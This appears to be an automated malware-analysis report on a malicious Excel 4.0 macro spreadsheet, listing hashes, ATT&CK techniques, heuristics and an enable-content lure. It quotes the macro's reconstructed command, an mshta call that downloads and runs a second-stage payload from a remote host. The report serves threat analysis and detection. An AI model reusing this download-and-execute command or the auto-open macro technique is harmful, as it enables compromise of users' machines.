Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 4cd8d0c6cc52ec93…

MALICIOUS

Office (OLE) / .XLS

64.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 6c24442f7a929baf8d9c3474269391ef SHA-1: a34ab4ac07d43a10e050e5eca6cfe21cfe521798 SHA-256: 4cd8d0c6cc52ec931a275ce26f72645e66722adb2e74124a63280b7473c2149a
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204 Malicious Link T1059 Command and Scripting Interpreter

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The macro reconstructs the command string as "cmd /c mshta http://0xc12a24f5/c.html", which is designed to download and execute a second-stage payload from the specified URL. The document body also contains a lure to "Enable Editing" and "Enable Content" to bypass security measures.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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